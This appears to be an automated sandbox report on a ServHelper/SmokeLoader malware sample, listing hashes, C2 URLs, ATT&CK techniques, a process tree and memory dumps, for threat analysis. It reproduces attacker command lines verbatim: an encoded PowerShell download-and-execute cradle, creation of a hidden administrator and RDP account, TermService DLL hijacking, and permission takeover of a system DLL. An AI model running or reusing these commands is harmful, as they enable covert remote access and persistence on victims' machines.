servhelper | 42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589

Analysis

max time kernel
153s
max time network
154s
platform
windows7_x64
resource
win7-en-20210920
submitted
19-10-2021 10:00

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General

Target

580fc5cd72d7979040fa1c4866ada3d0.exe
Size

343KB
MD5

580fc5cd72d7979040fa1c4866ada3d0
SHA1

7da202d99be94f57f355c611bafde9656bca65b7
SHA256

42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589
SHA512

b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
30	1416	powershell.exe
31	1416	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1420	AF71.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1892	takeown.exe
1700	icacls.exe
1048	icacls.exe
1424	icacls.exe
896	icacls.exe
1708	icacls.exe
1916	icacls.exe
1140	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000012204-140.dat	upx
behavioral1/files/0x002200000000f5b4-141.dat	upx

Deletes itself 1 IoCs

pid	Process
1356	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
1356	Process not Found
1356	Process not Found
2028	Process not Found
2028	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1892	takeown.exe
1700	icacls.exe
1048	icacls.exe
1424	icacls.exe
896	icacls.exe
1708	icacls.exe
1916	icacls.exe
1140	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZXI5FKVNH711PAIXAKFC.temp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	580fc5cd72d7979040fa1c4866ada3d0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	580fc5cd72d7979040fa1c4866ada3d0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	580fc5cd72d7979040fa1c4866ada3d0.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1040f267d0c4d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1884	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1536	580fc5cd72d7979040fa1c4866ada3d0.exe
1536	580fc5cd72d7979040fa1c4866ada3d0.exe
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1356	Process not Found

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
2028	Process not Found
2028	Process not Found
2028	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1536	580fc5cd72d7979040fa1c4866ada3d0.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeRestorePrivilege	1048	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeAuditPrivilege	1488	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeAuditPrivilege	1488	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1220	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1220	WMIC.exe
Token: SeAuditPrivilege	1220	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1220	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1220	WMIC.exe
Token: SeAuditPrivilege	1220	WMIC.exe
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1356	Process not Found
1356	Process not Found
1356	Process not Found
1356	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 1420	1356	Process not Found	27
PID 1356 wrote to memory of 1420	1356	Process not Found	27
PID 1356 wrote to memory of 1420	1356	Process not Found	27
PID 1420 wrote to memory of 1044	1420	AF71.exe	29
PID 1420 wrote to memory of 1044	1420	AF71.exe	29
PID 1420 wrote to memory of 1044	1420	AF71.exe	29
PID 1044 wrote to memory of 1628	1044	powershell.exe	31
PID 1044 wrote to memory of 1628	1044	powershell.exe	31
PID 1044 wrote to memory of 1628	1044	powershell.exe	31
PID 1628 wrote to memory of 992	1628	csc.exe	32
PID 1628 wrote to memory of 992	1628	csc.exe	32
PID 1628 wrote to memory of 992	1628	csc.exe	32
PID 1044 wrote to memory of 1552	1044	powershell.exe	35
PID 1044 wrote to memory of 1552	1044	powershell.exe	35
PID 1044 wrote to memory of 1552	1044	powershell.exe	35
PID 1044 wrote to memory of 892	1044	powershell.exe	37
PID 1044 wrote to memory of 892	1044	powershell.exe	37
PID 1044 wrote to memory of 892	1044	powershell.exe	37
PID 1044 wrote to memory of 948	1044	powershell.exe	39
PID 1044 wrote to memory of 948	1044	powershell.exe	39
PID 1044 wrote to memory of 948	1044	powershell.exe	39
PID 1044 wrote to memory of 1892	1044	powershell.exe	41
PID 1044 wrote to memory of 1892	1044	powershell.exe	41
PID 1044 wrote to memory of 1892	1044	powershell.exe	41
PID 1044 wrote to memory of 1700	1044	powershell.exe	42
PID 1044 wrote to memory of 1700	1044	powershell.exe	42
PID 1044 wrote to memory of 1700	1044	powershell.exe	42
PID 1044 wrote to memory of 1048	1044	powershell.exe	43
PID 1044 wrote to memory of 1048	1044	powershell.exe	43
PID 1044 wrote to memory of 1048	1044	powershell.exe	43
PID 1044 wrote to memory of 1424	1044	powershell.exe	44
PID 1044 wrote to memory of 1424	1044	powershell.exe	44
PID 1044 wrote to memory of 1424	1044	powershell.exe	44
PID 1044 wrote to memory of 896	1044	powershell.exe	45
PID 1044 wrote to memory of 896	1044	powershell.exe	45
PID 1044 wrote to memory of 896	1044	powershell.exe	45
PID 1044 wrote to memory of 1708	1044	powershell.exe	46
PID 1044 wrote to memory of 1708	1044	powershell.exe	46
PID 1044 wrote to memory of 1708	1044	powershell.exe	46
PID 1044 wrote to memory of 1916	1044	powershell.exe	47
PID 1044 wrote to memory of 1916	1044	powershell.exe	47
PID 1044 wrote to memory of 1916	1044	powershell.exe	47
PID 1044 wrote to memory of 1140	1044	powershell.exe	48
PID 1044 wrote to memory of 1140	1044	powershell.exe	48
PID 1044 wrote to memory of 1140	1044	powershell.exe	48
PID 1044 wrote to memory of 1752	1044	powershell.exe	49
PID 1044 wrote to memory of 1752	1044	powershell.exe	49
PID 1044 wrote to memory of 1752	1044	powershell.exe	49
PID 1044 wrote to memory of 1884	1044	powershell.exe	50
PID 1044 wrote to memory of 1884	1044	powershell.exe	50
PID 1044 wrote to memory of 1884	1044	powershell.exe	50
PID 1044 wrote to memory of 1520	1044	powershell.exe	51
PID 1044 wrote to memory of 1520	1044	powershell.exe	51
PID 1044 wrote to memory of 1520	1044	powershell.exe	51
PID 1044 wrote to memory of 1352	1044	powershell.exe	52
PID 1044 wrote to memory of 1352	1044	powershell.exe	52
PID 1044 wrote to memory of 1352	1044	powershell.exe	52
PID 1352 wrote to memory of 240	1352	net.exe	53
PID 1352 wrote to memory of 240	1352	net.exe	53
PID 1352 wrote to memory of 240	1352	net.exe	53
PID 1044 wrote to memory of 1608	1044	powershell.exe	54
PID 1044 wrote to memory of 1608	1044	powershell.exe	54
PID 1044 wrote to memory of 1608	1044	powershell.exe	54
PID 1608 wrote to memory of 1428	1608	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe
"C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1536

C:\Users\Admin\AppData\Local\Temp\AF71.exe
C:\Users\Admin\AppData\Local\Temp\AF71.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\9ah1oqfm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD837.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD836.tmp"
      4⤵
      PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:948
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1892
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1700
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1048
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1424
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:896
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1916
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1140
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1752
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1884
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1520
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:240
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1428
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1220
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:788
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1680
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1580
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1648
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1064
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:756

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:968
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:2016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1048

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc kWYmtx6k /add
1⤵
PID:1452
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc kWYmtx6k /add
  2⤵
  PID:1444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc kWYmtx6k /add
    3⤵
    PID:1708

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1740
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1724

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1152
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:1352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:808

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1428
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:960

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc kWYmtx6k
1⤵
PID:1992
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc kWYmtx6k
  2⤵
  PID:1112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc kWYmtx6k
    3⤵
    PID:1612

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2012
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1488

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1608
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1220

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1152
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/892-104-0x00000000024EC000-0x000000000250B000-memory.dmp

Filesize
124KB

Download
memory/892-103-0x00000000024E0000-0x00000000024E2000-memory.dmp

Filesize
8KB

Download
memory/892-101-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

Filesize
11.4MB

Download
memory/892-107-0x00000000024E7000-0x00000000024E8000-memory.dmp

Filesize
4KB

Download
memory/892-106-0x00000000024E4000-0x00000000024E7000-memory.dmp

Filesize
12KB

Download
memory/892-102-0x000000001B850000-0x000000001BB4F000-memory.dmp

Filesize
3.0MB

Download
memory/892-105-0x00000000024E2000-0x00000000024E4000-memory.dmp

Filesize
8KB

Download
memory/948-112-0x0000000002530000-0x0000000002532000-memory.dmp

Filesize
8KB

Download
memory/948-117-0x000000000253C000-0x000000000255B000-memory.dmp

Filesize
124KB

Download
memory/948-114-0x0000000002537000-0x0000000002538000-memory.dmp

Filesize
4KB

Download
memory/948-116-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/948-113-0x0000000002532000-0x0000000002534000-memory.dmp

Filesize
8KB

Download
memory/948-115-0x000000001B900000-0x000000001BBFF000-memory.dmp

Filesize
3.0MB

Download
memory/948-111-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

Filesize
11.4MB

Download
memory/1044-84-0x00000000027EB000-0x000000000280A000-memory.dmp

Filesize
124KB

Download
memory/1044-87-0x000000000280D000-0x000000000280E000-memory.dmp

Filesize
4KB

Download
memory/1044-74-0x00000000027E4000-0x00000000027E7000-memory.dmp

Filesize
12KB

Download
memory/1044-73-0x00000000027E2000-0x00000000027E4000-memory.dmp

Filesize
8KB

Download
memory/1044-72-0x00000000027E0000-0x00000000027E2000-memory.dmp

Filesize
8KB

Download
memory/1044-71-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

Filesize
11.4MB

Download
memory/1044-70-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

Filesize
8KB

Download
memory/1356-58-0x00000000025F0000-0x0000000002606000-memory.dmp

Filesize
88KB

Download
memory/1416-161-0x000000000130B000-0x000000000132A000-memory.dmp

Filesize
124KB

Download
memory/1416-163-0x0000000001304000-0x0000000001307000-memory.dmp

Filesize
12KB

Download
memory/1416-159-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

Filesize
11.4MB

Download
memory/1416-160-0x0000000001300000-0x0000000001302000-memory.dmp

Filesize
8KB

Download
memory/1416-162-0x0000000001302000-0x0000000001304000-memory.dmp

Filesize
8KB

Download
memory/1420-67-0x0000000041156000-0x0000000041157000-memory.dmp

Filesize
4KB

Download
memory/1420-63-0x00000000415D0000-0x00000000419CF000-memory.dmp

Filesize
4.0MB

Download
memory/1420-68-0x0000000041157000-0x0000000041158000-memory.dmp

Filesize
4KB

Download
memory/1420-66-0x0000000041154000-0x0000000041156000-memory.dmp

Filesize
8KB

Download
memory/1420-65-0x0000000041152000-0x0000000041154000-memory.dmp

Filesize
8KB

Download
memory/1536-57-0x0000000000400000-0x0000000000788000-memory.dmp

Filesize
3.5MB

Download
memory/1536-55-0x0000000075A71000-0x0000000075A73000-memory.dmp

Filesize
8KB

Download
memory/1536-56-0x00000000002B0000-0x00000000002B9000-memory.dmp

Filesize
36KB

Download
memory/1536-54-0x000000000082B000-0x000000000083C000-memory.dmp

Filesize
68KB

Download
memory/1552-95-0x0000000002677000-0x0000000002678000-memory.dmp

Filesize
4KB

Download
memory/1552-97-0x000000000267C000-0x000000000269B000-memory.dmp

Filesize
124KB

Download
memory/1552-91-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

Filesize
11.4MB

Download
memory/1552-94-0x0000000002674000-0x0000000002677000-memory.dmp

Filesize
12KB

Download
memory/1552-93-0x0000000002672000-0x0000000002674000-memory.dmp

Filesize
8KB

Download
memory/1552-92-0x0000000002670000-0x0000000002672000-memory.dmp

Filesize
8KB

Download
memory/1552-96-0x000000001B790000-0x000000001BA8F000-memory.dmp

Filesize
3.0MB

Download
memory/1628-85-0x0000000000570000-0x0000000000572000-memory.dmp

Filesize
8KB

Download